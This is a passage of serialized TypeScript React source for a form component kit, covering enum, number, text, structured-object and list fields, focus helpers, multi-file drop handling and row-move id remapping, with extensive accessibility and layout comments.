result that run produces shows the\n * same field in words too, and a form and its result have to read the same\n * way - which is why both apply one rule, including its fallback to the codes\n * when two options would read the same. The segmented rule measures the label\n * it shows, which is the text that has to fit on the row.\n */\nexport function EnumField({ field, value, onChange, id, error, disabled }: EnumFieldProps) {\n const s = useFieldStrings();\n const presentation = useFieldPresentation();\n const labelOf = enumLabeler(field.options, presentation);\n const isSegmented =\n field.options.length <= 4 && field.options.every((o) => labelOf(o).length <= 16);\n const domId = useFieldDomId(id);\n\n return (\n <FieldShell\n name={field.name}\n title={field.title}\n conceptRef={field.conceptRef}\n category=\"choice\"\n description={field.description}\n required={!shownAsOptional(field)}\n error={error}\n htmlFor={isSegmented ? undefined : domId}\n >\n {isSegmented ? (\n // `type=\"single\"` gives the roving tabindex and arrow-key navigation a\n // radiogroup owes its user, and emits `''` when the active item is\n // pressed again - which is the field's \"clear\" path.\n <ToggleGroup\n type=\"single\"\n value={value ?? ''}\n onValueChange={(next) => onChange(next === '' ? undefined : next)}\n disabled={disabled}\n // The group is named with the label the field SHOWS, so a screen\n // reader announces \"Risk level\" where the page reads it, not the\n // `risk_level` identifier behind it in `app`.\n aria-label={fieldLabel(field.title, field.name, presentation)}\n className=\"flex flex-wrap justify-start gap-1.5\"\n >\n {field.options.map((option) => (\n <ToggleGroupItem\n key={option}\n value={option}\n variant=\"outline\"\n // The pressed fill and its text are the toggle's own selected state,\n // and the pressed edge is the accent's, as a tag's is. Below `sm`\n // each option grows to the 44 pixels a finger needs, in both\n // directions, as every other control of the kernel does there.\n className={cn(\n 'h-9 min-w-0 gap-1.5 border-border bg-input px-3 text-[13px] text-muted-foreground hover:bg-muted hover:text-foreground data-[state=on]:font-medium max-sm:h-11 max-sm:min-w-11',\n selectedStateBorderClass,\n )}\n >\n {value === option && (\n <Check\n className={cn('size-3.5', linkTextClass)}\n strokeWidth={2.5}\n aria-hidden=\"true\"\n />\n )}\n {labelOf(option)}\n </ToggleGroupItem>\n ))}\n </ToggleGroup>\n ) : (\n <Select\n value={value ?? ''}\n disabled={disabled}\n onValueChange={(next) => onChange(next === CLEAR_VALUE ? undefined : next)}\n >\n <SelectTrigger id={domId} aria-invalid={!!error} className=\"h-11\">\n <SelectValue placeholder={s.selectPlaceholder} />\n </SelectTrigger>\n <SelectContent>\n <SelectItem value={CLEAR_VALUE}>{s.selectPlaceholder}</SelectItem>\n {field.options.map((option) => (\n <SelectItem key={option} value={option}>\n {labelOf(option)}\n </SelectItem>\n ))}\n </SelectContent>\n </Select>\n )}\n </FieldShell>\n );\n}\n","'use client';\n\nimport { shownAsOptional } from '../core/readiness';\nimport { Minus, Plus } from 'lucide-react';\nimport { focusOutlineClass } from './role-tokens';\nimport { cn } from './utils';\nimport type { NumberRunField } from '../core';\nimport { FieldShell } from './field-shell';\nimport { useFieldStrings } from './field-strings';\nimport { fieldControlClass } from './field-styles';\nimport { useFieldDomId } from './field-dom-id';\n\ninterface NumberFieldProps {\n field: NumberRunField;\n value: number | undefined;\n onChange: (value: number | undefined) => void;\n id: string;\n error?: string;\n disabled?: boolean;\n}\n\n/** Numeric input with steppers and min/max clamping. */\nexport function NumberField({ field, value, onChange, id, error, disabled }: NumberFieldProps) {\n const s = useFieldStrings();\n const domId = useFieldDomId(id);\n const step = field.integer ? 1 : 0.1;\n\n const clamp = (n: number) => {\n let next = n;\n if (typeof field.min === 'number') next = Math.max(field.min, next);\n if (typeof field.max === 'number') next = Math.min(field.max, next);\n return field.integer ? Math.round(next) : next;\n };\n\n const nudge = (delta: number) => onChange(clamp((value ?? 0) + delta));\n\n const rangeHint =\n field.min !== undefined || field.max !== undefined\n ? `${field.min ?? '−∞'} – ${field.max ?? '∞'}`\n : undefined;\n\n return (\n <FieldShell\n name={field.name}\n title={field.title}\n conceptRef={field.conceptRef}\n category=\"number\"\n description={field.description ?? rangeHint}\n required={!shownAsOptional(field)}\n error={error}\n htmlFor={domId}\n >\n <div className=\"flex items-stretch gap-1.5\">\n <input\n id={domId}\n type=\"number\"\n inputMode={field.integer ? 'numeric' : 'decimal'}\n value={value ?? ''}\n step={step}\n min={field.min}\n max={field.max}\n disabled={disabled}\n aria-invalid={!!error}\n placeholder=\"0\"\n onChange={(e) => onChange(e.target.value === '' ? undefined : Number(e.target.value))}\n className={cn(\n fieldControlClass,\n 'h-11 px-3 font-mono tabular-nums [appearance:textfield] [&::-webkit-inner-spin-button]:appearance-none',\n )}\n />\n <StepButton onClick={() => nudge(-step)} disabled={disabled} label={s.decrease}>\n <Minus className=\"h-4 w-4\" />\n </StepButton>\n <StepButton onClick={() => nudge(step)} disabled={disabled} label={s.increase}>\n <Plus className=\"h-4 w-4\" />\n </StepButton>\n </div>\n </FieldShell>\n );\n}\n\nfunction StepButton({\n onClick,\n disabled,\n label,\n children,\n}: {\n onClick: () => void;\n disabled?: boolean;\n label: string;\n children: React.ReactNode;\n}) {\n return (\n <button\n type=\"button\"\n onClick={onClick}\n disabled={disabled}\n aria-label={label}\n className={cn(\n 'flex h-11 w-11 shrink-0 items-center justify-center rounded-md border border-border bg-input text-muted-foreground transition-colors',\n 'hover:border-border hover:bg-muted hover:text-foreground disabled:cursor-not-allowed disabled:opacity-50',\n focusOutlineClass,\n )}\n >\n {children}\n </button>\n );\n}\n","'use client';\n\nimport { shownAsOptional } from '../core/readiness';\nimport { cn } from './utils';\nimport type { ProseRunField, TextRunField } from '../core';\nimport { FieldShell } from './field-shell';\nimport { useFieldStrings } from './field-strings';\nimport { fieldControlClass } from './field-styles';\nimport { useFieldDomId } from './field-dom-id';\n\ninterface TextFieldProps {\n field: TextRunField;\n value: string | undefined;\n onChange: (value: string | undefined) => void;\n id: string;\n error?: string;\n disabled?: boolean;\n}\n\n/** Single-line string input (short native.Text or a plain string property). */\nexport function TextField({ field, value, onChange, id, error, disabled }: TextFieldProps) {\n const s = useFieldStrings();\n const domId = useFieldDomId(id);\n return (\n <FieldShell\n name={field.name}\n title={field.title}\n conceptRef={field.conceptRef}\n category=\"text\"\n description={field.description}\n required={!shownAsOptional(field)}\n error={error}\n htmlFor={domId}\n >\n <input\n id={domId}\n type=\"text\"\n value={value ?? ''}\n disabled={disabled}\n aria-invalid={!!error}\n placeholder={field.placeholder ?? s.typeValuePlaceholder}\n onChange={(e) => onChange(e.target.value === '' ? undefined : e.target.value)}\n className={cn(fieldControlClass, 'h-11 px-3')}\n />\n </FieldShell>\n );\n}\n\ninterface ProseFieldProps {\n field: ProseRunField;\n value: string | undefined;\n onChange: (value: string | undefined) => void;\n id: string;\n error?: string;\n disabled?: boolean;\n}\n\n/**\n * Multi-line free text. Auto-grows with content (`field-sizing-content`) so long\n * prompts don't trap the user in a tiny scrollbox - the field that carries most\n * of a method's intent should feel roomy.\n */\nexport function ProseField({ field, value, onChange, id, error, disabled }: ProseFieldProps) {\n const s = useFieldStrings();\n const domId = useFieldDomId(id);\n return (\n <FieldShell\n name={field.name}\n title={field.title}\n conceptRef={field.conceptRef}\n category=\"text\"\n description={field.description}\n required={!shownAsOptional(field)}\n error={error}\n htmlFor={domId}\n >\n <textarea\n id={domId}\n value={value ?? ''}\n disabled={disabled}\n aria-invalid={!!error}\n rows={3}\n placeholder={field.placeholder ?? s.writeHerePlaceholder}\n onChange={(e) => onChange(e.target.value === '' ? undefined : e.target.value)}\n className={cn(\n fieldControlClass,\n 'min-h-[88px] resize-y px-3 py-2.5 leading-relaxed field-sizing-content',\n )}\n />\n </FieldShell>\n );\n}\n","'use client';\n\nimport { Minus, Plus } from 'lucide-react';\nimport { useFieldStrings } from './field-strings';\nimport { focusOutlineClass } from './role-tokens';\nimport { cn } from './utils';\n\ninterface OptionalToggleProps {\n /** How many empty optional entries are currently hidden. */\n count: number;\n expanded: boolean;\n onToggle: () => void;\n /** \"field\" inside a concept, \"input\" at the top level. */\n noun?: 'field' | 'input';\n}\n\n/**\n * The disclosure for empty optional entries. Optional inputs stay hidden until\n * the user asks for them - required (and already-filled) entries always show, so\n * the form opens at its simplest and grows only on demand. Used at the top level\n * and inside every structured concept, at any nesting depth. An optional\n * structure folds behind it too, and opens and closes with it: see\n * `openOptionalStructures` / `closeOptionalStructures` in the core.\n */\nexport function OptionalToggle({ count, expanded, onToggle, noun = 'field' }: OptionalToggleProps) {\n const s = useFieldStrings();\n return (\n <button\n type=\"button\"\n onClick={onToggle}\n aria-expanded={expanded}\n className={cn(\n 'flex w-fit items-center gap-1.5 rounded-sm text-[11px] text-muted-foreground transition-colors hover:text-foreground max-sm:min-h-11',\n focusOutlineClass,\n 'focus-visible:outline-offset-2',\n )}\n >\n {expanded ? <Minus className=\"h-3 w-3\" /> : <Plus className=\"h-3 w-3\" />}\n {expanded\n ? noun === 'field'\n ? s.hideOptionalFields\n : s.hideOptionalInputs\n : noun === 'field'\n ? s.optionalFieldsCount(count)\n : s.optionalInputsCount(count)}\n </button>\n );\n}\n","'use client';\n\nimport { createContext, use, useState } from 'react';\nimport { cn } from './utils';\nimport type { ObjectRunField, RunField } from '../core';\nimport { ownProp } from '../core/own-property';\nimport {\n anyOptionalStructureOpen,\n gateRefusal,\n isFoldedOptional,\n isOptionalStructure,\n} from '../core/readiness';\nimport { closeOptionalStructures, openOptionalStructures } from '../core/seed';\nimport { ConceptPill } from './concept-pill';\nimport { useFieldDomId } from './field-dom-id';\nimport { FieldRenderer, type FieldEnv } from './field-renderer';\nimport { fieldLabel, useFieldPresentation } from './field-presentation';\nimport { useFieldStrings } from './field-strings';\nimport { OptionalToggle } from './optional-toggle';\nimport { headingFaceClass } from './style-tokens';\n\ninterface ObjectFieldProps {\n field: ObjectRunField;\n value: Record<string, unknown> | undefined;\n onChange: (value: Record<string, unknown>) => void;\n id: string;\n error?: string;\n env?: FieldEnv;\n}\n\n/**\n * How many structures a field sits inside: 0 for a form's own field, one more\n * inside each structure. A list adds nothing to it, while the structure a\n * list's row holds counts like any other and draws nothing around its fields\n * (`none`, below), so a structure inside that row hangs from a rule rather\n * than drawing a card in the row's box. Only `ObjectField` reads it.\n */\nconst StructureDepthContext = createContext(0);\n\n/**\n * Whether the host draws the form inside a panel of its own, which\n * `MethodForm`'s `framed` states. Only the host knows it: the kernel cannot\n * see the box around it, and a form on a bare page still needs its own card\n * to say where a structure ends. Only `ObjectField` reads it, and only for a\n * form's own structure (`section`, below).\n */\nexport const FramedFormContext = createContext(false);\n\n/**\n * The id of the structure the form's own run gate refuses, after the person\n * has tried to run, whose members it refuses are marked one by one: each\n * empty required member `requiredField`, each started optional one that is\n * not complete `incompleteField`, at every depth, as `MethodForm` marks its\n * own inputs. `MethodForm` sets it for an input it refuses, and a structure\n * sets it for a member it marks; any other structure, a list's row included,\n * sees an id that is not its own and marks nothing. A host's `errors` entry\n * sets none: its message is about the structure.\n */\nexport const RefusedStructureContext = createContext<string | null>(null);\n\n/**\n * How a structure groups its sub-fields, by where it stands.\n *\n * - `box`: a structure that is a form's own field, under its name - one\n * hairline card, which is what says where the structure ends.\n * - `section`: the same structure when the host has framed the form in a\n * panel of its own (`FramedFormContext`). The host's panel is already the\n * card, so a second one inside it read as a box in a box: the structure's\n * name heads its fields with nothing drawn around them, and `MethodForm`\n * sets a hairline between it and any input beside it, which is what says\n * where it ends. In error it has no outline to turn red, so it draws its\n * own edge instead (`SECTION_ERROR_EDGE`) and sets its message at its\n * heading.\n * - `rule`: a structure inside a structure, under its name - its fields hang\n * from a rule along their left edge rather than from a second card inside\n * the first. A card in a card in a host's panel is three boxes deep, and on\n * a phone each one's padding took the width a field needed: the stay's city\n * of a trip request came out about 237 pixels wide.\n * - `none`: a structure whose name is not drawn, which is a list's row. The\n * row is already a box, so the structure adds nothing around its fields.\n */\ntype StructureGrouping = 'box' | 'section' | 'rule' | 'none';\n\nfunction structureGrouping(depth: number, labelled: boolean, framed: boolean): StructureGrouping {\n if (!labelled) return 'none';\n if (depth > 0) return 'rule';\n return framed ? 'section' : 'box';\n}\n\n/**\n * What a section in error draws where a card would turn its outline red: a\n * bar in the error colour down the section's whole height, from its heading\n * to its last field, just outside the form's start edge. It stands out of\n * the flow, so it moves no field when the error comes or goes, and it is one\n * edge rather than four, so no card comes back inside the host's panel.\n *\n * It stands 4 pixels off the form, as a field's own error outline stands 4\n * pixels off the field (`FieldShell`), so it asks for 7 pixels of room\n * beside the form, little more than the 5 that outline already takes; a\n * host's panel pads its form by more than that, and a host that clips\n * closer loses the bar as it loses the outline, while the section's message\n * at its heading stays. Three pixels in the solid error colour, where the\n * card's outline is one, because a single edge has less length to be seen\n * by; the brand contract holds that colour to the 3:1 a mark needs on the\n * page and on a card. `m-0` undoes the spacing the stack\n * it heads gives its children, which would shorten it.\n */\nconst SECTION_ERROR_EDGE =\n 'pointer-events-none absolute inset-y-0 -start-[7px] m-0 w-[3px] rounded-full bg-destructive';\n\n/**\n * A structure's name, set as a heading over its fields' labels in `app`: the\n * form's own structures largest, and one inside another a step below, so the\n * levels of a request read as levels rather than as one flat list of labels.\n * `studio` keeps the mono identifier every label there is set in.\n */\nfunction structureNameClass(isApp: boolean, depth: number): string {\n if (!isApp) return 'font-mono text-[13px] font-medium leading-none';\n // A structure's name takes the page's heading face, so a style's serif\n // reaches the form's sections, and keeps the kernel's own weight: it labels\n // a group of fields rather than titling the page.\n return cn(\n depth === 0\n ? 'text-[16px] font-semibold leading-snug'\n : 'text-[14.5px] font-semibold leading-snug',\n headingFaceClass,\n );\n}\n\n/**\n * A structured concept: its sub-fields under its name, grouped by where the\n * structure stands (`StructureGrouping`): a card for a form's own structure,\n * or a section when the host has framed the form in its own panel, a rule\n * for one inside another, and nothing for a list's row, so nesting\n * stays legible without boxing a field into a sliver of a phone. Empty\n * optional sub-fields collapse behind a \"+ N optional\" toggle - required and\n * already-filled fields always show.\n *\n * A CLOSED optional sub-structure (absent value) folds behind that toggle and\n * is counted like any empty optional field. The toggle also opens and closes\n * them: expanding writes `seedObjectValue` into every closed one, collapsing\n * writes `undefined` into every one, so they leave the payload. It reads\n * expanded while any of them is open, so a restored value that holds one\n * offers to close it. An open optional structure renders like any other: its\n * label, description and card, with no badge.\n */\nexport function ObjectField({ field, value, onChange, id, error, env }: ObjectFieldProps) {\n const [showOptional, setShowOptional] = useState(false);\n // A grouped concept reads as a section heading in an app, not as a typed field.\n const presentation = useFieldPresentation();\n const isApp = presentation === 'app';\n const depth = use(StructureDepthContext);\n const data = value ?? {};\n const label = fieldLabel(field.title, field.name, presentation);\n const grouping = structureGrouping(depth, label.trim() !== '', use(FramedFormContext));\n // Document-unique, as every control's id is: two forms mounting the same\n // method must not label one structure with the other's name.\n const domId = useFieldDomId(id);\n // Whether the form's run gate refuses this structure, in which case each\n // member it refuses is marked as the form marks its own inputs.\n const refused = use(RefusedStructureContext) === id;\n const s = useFieldStrings();\n const markOf = (child: RunField): string | undefined => {\n if (!refused) return undefined;\n const refusal = gateRefusal(child, ownProp(data, child.name), child.required);\n if (refusal === 'required') return s.requiredField;\n return refusal === 'incomplete' ? s.incompleteField : undefined;\n };\n\n const setChild = (name: string, childValue: unknown) => onChange({ ...data, [name]: childValue });\n\n // `ownProp`, not `data[f.name]`: the name is the method author's, the record\n // is a plain object a host built, and a child named `constructor` or\n // `toString` reads as the inherited function from a bare index. The kernel\n // spells this read one way at every one of its sites; the control set is the\n // other half of \"every\".\n const folded = field.fields.filter((f) => isFoldedOptional(f, ownProp(data, f.name)));\n const structureOpen = anyOptionalStructureOpen(field.fields, data);\n const expanded = showOptional || structureOpen;\n const visible = expanded\n ? field.fields\n : field.fields.filter((f) => !isFoldedOptional(f, ownProp(data, f.name)));\n const hasStructure = field.fields.some(isOptionalStructure);\n\n const toggle = () => {\n setShowOptional(!expanded);\n // Only write when there is a structure to open or close: a toggle over\n // leaf fields alone is view state the value never sees.\n if (hasStructure) {\n onChange(\n expanded\n ? closeOptionalStructures(field.fields, data)\n : openOptionalStructures(field.fields, data),\n );\n }\n };\n\n // A named structure is a group its name labels, so assistive technology\n // hears the levels a reader sees: two cities in two structures are each\n // announced inside their own. A list's row draws no name and is no group.\n const nameId = `${domId}--name`;\n const descriptionId = `${domId}--description`;\n const group =\n grouping === 'none'\n ? {}\n : {\n role: 'group',\n 'aria-labelledby': nameId,\n 'aria-describedby': field.description ? descriptionId : undefined,\n };\n\n const section = grouping === 'section';\n const caption = error && (\n <p className=\"text-[11px] text-destructive\" role=\"alert\">\n {error}\n </p>\n );\n\n const content = (\n <>\n <div className=\"flex flex-wrap items-baseline gap-x-2 gap-y-1\">\n <span id={nameId} className={cn('text-foreground', structureNameClass(isApp, depth))}>\n {label}\n </span>\n {!isApp && <ConceptPill conceptRef={field.conceptRef} category=\"structured\" />}\n {/* A section has no outline to turn red, so its message is set where\n it starts, beside its name, rather than under its last field,\n which on a tall section is a screen away from the heading. The\n heading's row has room for it, so it adds no line unless the row\n wraps. */}\n {section && caption}\n </div>\n {field.description && (\n <p id={descriptionId} className=\"text-[12px] leading-relaxed text-muted-foreground\">\n {field.description}\n </p>\n )}\n\n <div\n // Names the grouping for a host's stylesheet and for tests, which\n // cannot read a box or a rule from the classes that draw it.\n data-structure-group={grouping}\n className={cn(\n 'space-y-4',\n grouping === 'box' && 'rounded-lg border bg-card/40 p-4 max-sm:p-3',\n grouping === 'section' && 'pt-2',\n grouping === 'rule' && 'border-l-2 pl-4 max-sm:pl-3',\n // In error, a card's outline and a rule turn the error colour\n // itself, which the brand contract holds at 3:1 on the page and on\n // a card: at half of it they read under that bar in every palette.\n (grouping === 'box' || grouping === 'rule') &&\n (error ? 'border-destructive' : 'border-border'),\n )}\n >\n <StructureDepthContext value={depth + 1}>\n {visible.map((child) => {\n const childId = `${id}.${child.name}`;\n const mark = markOf(child);\n return (\n <RefusedStructureContext key={child.name} value={mark ? childId : null}>\n <FieldRenderer\n field={child}\n value={ownProp(data, child.name)}\n onChange={(v) => setChild(child.name, v)}\n id={childId}\n error={mark}\n env={env}\n />\n </RefusedStructureContext>\n );\n })}\n </StructureDepthContext>\n\n {(folded.length > 0 || structureOpen) && (\n <OptionalToggle\n count={folded.length}\n expanded={expanded}\n onToggle={toggle}\n noun=\"field\"\n />\n )}\n </div>\n {!section && caption}\n </>\n );\n\n return (\n <div\n className={section ? undefined : 'space-y-2'}\n // What `MethodForm` sets its hairline against, beside a framed form's\n // own structure.\n data-form-section={section ? '' : undefined}\n {...group}\n >\n {section ? (\n // The section's content, without the padding `MethodForm`'s\n // hairlines give the section's own box: what the error edge runs\n // beside. Positioned whether or not it is in error, so an error\n // changes nothing a descendant is placed against.\n <div className=\"relative space-y-2\">\n {error && <span aria-hidden=\"true\" data-error-edge=\"\" className={SECTION_ERROR_EDGE} />}\n {content}\n </div>\n ) : (\n content\n )}\n </div>\n );\n}\n","/**\n * Where focus goes when the control that held it is about to leave the page\n * or be shut: the elements a sheet hands focus to in its place.\n */\n\nconst FOCUSABLE = 'a[href], button, input, select, textarea, [tabindex]';\n\n/** Whether `element` takes focus from the keyboard as the page stands. */\nfunction takesFocus(element: HTMLElement): boolean {\n if (element.tabIndex < 0 || element.matches(':disabled')) return false;\n return element.closest('[hidden], [inert]') === null;\n}\n\n/**\n * The first element after `from` in the document that takes focus from the\n * keyboard, leaving out anything inside `skip`: where focus goes when `from`\n * is about to leave the page.\n */\nexport function followingFocusable(\n from: HTMLElement | null,\n skip: HTMLElement | null,\n): HTMLElement | null {\n if (!from) return null;\n for (const element of from.ownerDocument.querySelectorAll<HTMLElement>(FOCUSABLE)) {\n if (!(from.compareDocumentPosition(element) & Node.DOCUMENT_POSITION_FOLLOWING)) continue;\n if (skip?.contains(element)) continue;\n if (takesFocus(element)) return element;\n }\n return null;\n}\n\n/** The first element inside `within` that takes focus from the keyboard. */\nexport function firstFocusable(within: Element | null | undefined): HTMLElement | null {\n if (!within) return null;\n for (const element of within.querySelectorAll<HTMLElement>(FOCUSABLE)) {\n if (takesFocus(element)) return element;\n }\n return null;\n}\n","'use client';\n\nimport { useMemo, useState } from 'react';\nimport { useDropzone } from 'react-dropzone';\nimport { Upload } from 'lucide-react';\n// Value imports come from the specific module, never the `../core` barrel - the\n// barrel reaches the gate and the gate reaches ajv. See docs/dependency-budget.md.\nimport { acceptLabel, acceptMap, isAcceptedFile, type FileFormat } from '../core/file-formats';\nimport { useFieldStrings } from './field-strings';\nimport { focusWithinOutlineClass } from './role-tokens';\nimport { cn } from './utils';\n\n/** How many of a batch's names a message names before it counts the rest. */\nconst NAMED = 3;\n\ninterface ListFileDropProps {\n /** The list's label as the form shows it, which names the file input. */\n label: string;\n /** The formats the list's item accepts, after any narrowing a host applied. */\n formats: readonly FileFormat[];\n /** Shut: the form is disabled, or the list has no room for another file. */\n shut: boolean;\n /**\n * Places the files the slot accepts, in the order given, and answers how many\n * found room: those are the first ones, and the rest are left out.\n */\n onPlace: (files: readonly File[]) => number;\n}\n\ninterface Notice {\n refused: readonly string[];\n leftOut: readonly string[];\n fitted: number;\n}\n\n/**\n * A list of files' drop area: several files dropped or picked at once, each\n * accepted one given a row of its own by `onPlace`. It judges each file by the\n * check its row would apply before anything is placed, so a refused file\n * reaches no host, and it says in its own alert slot which files were refused\n * and which a bounded list had no room for. See docs/upload-seam.md, \"A list\n * of files takes several files at once\".\n *\n * The accessibility follows the single file field's: the root is the drop\n * target with `role=\"presentation\"` and no tab stop, the real file input inside\n * it takes the tab stop and carries a name of its own, and the focus ring is\n * `focus-within` because that input is clip-hidden.\n */\nexport function ListFileDrop({ label, formats, shut, onPlace }: ListFileDropProps) {\n const s = useFieldStrings();\n const hint = acceptLabel(formats);\n const accept = useMemo(() => acceptMap(formats), [formats]);\n const [notice, setNotice] = useState<Notice | null>(null);\n // Counted so that a second batch of the same size is announced again: the\n // status's text would not change, and a live region speaks only a change.\n const [added, setAdded] = useState({ count: 0, seq: 0 });\n\n const { getRootProps, getInputProps, isDragActive } = useDropzone({\n multiple: true,\n disabled: shut,\n // Filters the OS picker; `isAcceptedFile` below is the enforcement, as on a\n // single field, because a drop bypasses the picker entirely.\n accept,\n noKeyboard: true,\n onDrop: (accepted, rejections) => {\n const refused = rejections.map((rejection) => rejection.file);\n const taken: File[] = [];\n for (const file of accepted) (isAcceptedFile(formats, file) ? taken : refused).push(file);\n const fitted = taken.length > 0 ? onPlace(taken) : 0;\n setNotice({\n refused: refused.map((file) => file.name),\n leftOut: taken.slice(fitted).map((file) => file.name),\n fitted,\n });\n if (fitted > 0) setAdded((prev) => ({ count: fitted, seq: prev.seq + 1 }));\n },\n });\n\n return (\n <div className=\"space-y-1.5\">\n <div\n {...getRootProps()}\n data-list-file-drop\n className={cn(\n 'flex flex-col items-center justify-center gap-1 rounded-md border border-dashed px-4 py-4 text-center max-sm:min-h-11',\n 'cursor-pointer select-none transition-colors',\n focusWithinOutlineClass,\n isDragActive\n ? 'border-primary/60 bg-primary/5'\n : 'border-border bg-input hover:border-border hover:bg-muted',\n shut && 'cursor-not-allowed opacity-60',\n )}\n >\n <input\n {...getInputProps({ tabIndex: 0 })}\n disabled={shut}\n aria-label={s.addFilesAria(label)}\n />\n <Upload className=\"h-4 w-4 text-muted-foreground\" strokeWidth={1.75} />\n <p className=\"text-[13px] text-foreground\">\n {isDragActive ? s.dropFilesToAdd : s.dropFilesOrBrowse}\n </p>\n {hint && <p className=\"font-mono text-[10.5px] text-muted-foreground\">{hint}</p>}\n </div>\n {notice && (notice.refused.length > 0 || notice.leftOut.length > 0) && (\n <div role=\"alert\" className=\"space-y-1 text-[12px] text-destructive\">\n {notice.refused.length > 0 && (\n <p>\n {s.filesRefused(\n notice.refused.slice(0, NAMED),\n Math.max(0, notice.refused.length - NAMED),\n hint,\n )}\n </p>\n )}\n {notice.leftOut.length > 0 && (\n <p>\n {s.filesLeftOut(\n notice.leftOut.slice(0, NAMED),\n Math.max(0, notice.leftOut.length - NAMED),\n notice.fitted,\n )}\n </p>\n )}\n </div>\n )}\n <p role=\"status\" className=\"sr-only\">\n <span key={added.seq}>{added.count > 0 ? s.filesAdded(added.count) : ''}</span>\n </p>\n </div>\n );\n}\n","/**\n * The moves a host makes to a list's rows, and what a move does to an id.\n *\n * A field's id is its value path, so a row's id is its position (`cvs.1`), and\n * moving rows renumbers them. Two parties hold something by row and must move\n * it when the rows move: the host, which keys what it knows about each upload\n * by id, and the list control, which keys each row's React element by an\n * identity of its own so the row's controls travel with it. `useMethodForm`\n * makes every move itself (`removeItem`, `moveItem`), re-keys its own records\n * as it does, and hands the list a log of those moves (`FieldEnv.rowMoves`),\n * which the list replays on its row identities. One log, read by both, is what\n * keeps them agreeing about which row is which. See docs/upload-seam.md, \"What\n * the form keeps by id moves with the rows it moves\".\n */\n\n/** One move of a list's rows, as a host records it for the list to replay. */\nexport interface RowMove {\n /**\n * The move's number: each move is numbered above the one before it, for as\n * long as the host lives, so a list knows which moves it has replayed.\n */\n seq: number;\n /** The list's id, the one its rows' ids extend (`cvs` for `cvs.1`). */\n listId: string;\n /**\n * For each row of the list after the move, the index that row held before\n * it. A row whose index is left out was removed.\n */\n order: readonly number[];\n}\n\n/** For each index a row held before a move, the index it holds after it. */\nexport function destinationOf(order: readonly number[]): ReadonlyMap<number, number> {\n return new Map(order.map((source, index) => [source, index]));\n}\n\n/**\n * `id` once the rows of the list at `listId` have moved, each from its old\n * index to `destination`'s entry for it: the same id outside that list, the id\n * under the row's new index inside it (`cvs.2.resume` becoming `cvs.1.resume`),\n * and `undefined` for an id under a row that is gone. The dot after the list's\n * id keeps a sibling input called `cvs_extra` out of a list called `cvs`.\n */\nexport function movedId(\n id: string,\n listId: string,\n destination: ReadonlyMap<number, number>,\n): string | undefined {\n const prefix = `${listId}.`;\n if (!id.startsWith(prefix)) return id;\n const rest = id.slice(prefix.length);\n const dot = rest.indexOf('.');\n const row = dot === -1 ? rest : rest.slice(0, dot);\n if (!/^\\d+$/.test(row)) return id;\n const index = destination.get(Number(row));\n if (index === undefined) return undefined;\n return `${prefix}${index}${dot === -1 ? '' : rest.slice(dot)}`;\n}\n","'use client';\n\nimport { shownAsOptional } from '../core/readiness';\nimport {\n addChosenFiles,\n placeDroppedFiles,\n roomForChosenFiles,\n roomForDroppedFiles,\n} from '../core/sources';\nimport { useEffect, useMemo, useRef, useState } from 'react';\nimport { Plus, Trash2 } from 'lucide-react';\nimport { focusOutlineClass, selectedHoverBorderClass } from './role-tokens';\nimport { cn, isThenable } from './utils';\nimport type { ListRunField, RunField } from '../core';\nimport { ConceptPill } from './concept-pill';\nimport { fieldLabel, useFieldPresentation } from './field-presentation';\nimport { FieldRenderer, type FieldEnv } from './field-renderer';\nimport { useFieldStrings } from './field-strings';\nimport { FilePicker, FilePickerEntry } from './file-picker';\nimport { firstFocusable, followingFocusable } from './focus';\nimport { ListDropAreaContext, type ListDropArea, type PlacedFile } from './list-drop-area';\nimport { ListFileDrop } from './list-file-drop';\nimport { destinationOf, movedId, type RowMove } from './row-moves';\n\ninterface ListFieldProps {\n field: ListRunField;\n value: unknown[] | undefined;\n onChange: (value: unknown[]) => void;\n id: string;\n error?: string;\n env?: FieldEnv;\n}\n\n/**\n * A repeatable list of one element type. Each item is an indexed row with its\n * own remove control; \"Add\" appends a fresh entry. The element renders through\n * the same `FieldRenderer`, so a list of documents gets dropzones and a list of\n * structured concepts gets nested cards - no special-casing per element type.\n *\n * **A row is a thing, not a slot.** Its React key is generated when the row\n * appears and travels with it, so removing an earlier row moves the later ones\n * instead of renumbering them into each other - which is what used to drop a\n * half-typed value or a pending preview onto the neighbouring row. The row's\n * field ID stays POSITIONAL (`cvs.1`), because that ID is a PATH: a host writes\n * an upload back with `setValueAtPath(current, id.split('.'), value)`, over its\n * values as they are when the upload lands, and `setValueAtPath` is a pure\n * function of the value tree. Handing out an opaque\n * token instead would mean the kernel keeping a live token-to-index registry for\n * that function to consult, which is exactly the kind of hidden state the\n * headless core does not have.\n *\n * The positional ID is why removal is BLOCKED while a file is arriving anywhere\n * in this list - see `listIsBusy`. Together those two are the whole fix: a\n * generated key cannot rescue a write-back either, because the keys live in this\n * control's state and not in the value, so a host that replaces `values`\n * wholesale reconciles by length just as positions do. What a stable identity\n * buys over a position is exactly the reorderings the KERNEL performs, and it\n * performs one, plus those a host tells it of: a host that moves rows itself\n * logs each move in `FieldEnv.rowMoves`, as `useMethodForm` does, and the list\n * replays the log on its keys (see `useRowKeys`).\n */\nexport function ListField({ field, value, onChange, id, error, env }: ListFieldProps) {\n const s = useFieldStrings();\n // Same label chrome switch as `FieldShell` - this control owns its own label\n // because the items-count badge sits beside it. See `field-presentation.tsx`.\n const presentation = useFieldPresentation();\n const isApp = presentation === 'app';\n const items = value ?? [];\n const [rowKeys, setRowKeys] = useRowKeys(items.length, id, env?.rowMoves);\n const [pickerOpen, setPickerOpen] = useState(false);\n const pickerEntryRef = useRef<HTMLButtonElement>(null);\n const rowsRef = useRef<HTMLDivElement>(null);\n // The row the sheet's last chosen file was written into, set as the sheet\n // closes on Use and read once as focus goes back.\n const landedRow = useRef<number | null>(null);\n // Upload failures a removal left at the wrong position; see `rowEnv` below.\n const [staleErrors, setStaleErrors] = useState<ReadonlyMap<string, string>>(NO_ERRORS);\n // The uploads this list handed the host that have not answered yet, one entry\n // each: on a list of files, every file its drop area placed and every file\n // dropped on one of its rows. See `rowEnv`.\n const [pending, setPending] = useState<ReadonlyMap<number, PendingUpload>>(NO_UPLOADS);\n const nextUpload = useRef(0);\n // The rows those uploads belong to now. An entry keeps the id it was handed\n // and the newest move the host had logged then, and the moves logged since\n // carry it to its row's id now, as they carry the rows' identities: a host\n // that moves a row during an upload moves the row's write-back with it, so\n // the list follows the upload to the row's new position, and lets go of one\n // whose row the host removed, whose write-back the host has cancelled.\n const rowMoves = env?.rowMoves;\n const arriving = useMemo(() => arrivingRows(pending, rowMoves), 